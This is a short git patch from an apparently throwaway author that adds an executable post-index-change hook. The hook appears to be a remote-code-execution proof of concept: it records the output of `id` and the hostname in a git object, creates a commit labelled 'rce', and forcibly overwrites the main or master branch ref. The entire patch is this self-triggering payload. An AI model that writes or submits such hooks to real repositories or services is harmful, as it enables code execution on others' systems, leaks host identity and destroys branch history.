From e481f6b2c30eb92a138a34d9d4517c036b7b1119 Mon Sep 17 00:00:00 2001 From: xqj8xx52n Date: Thu, 30 Jul 2026 22:50:19 +0000 Subject: [PATCH] patch1 --- hooks/post-index-change | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..12b6b28 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,11 @@ +#!/bin/sh +OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END" +BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin) +TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree) +HEAD_SHA=$(git rev-parse HEAD 2>/dev/null) +if [ -n "$HEAD_SHA" ]; then + COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce") +else + COMMIT=$(git commit-tree "$TREE" -m "rce") +fi +git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null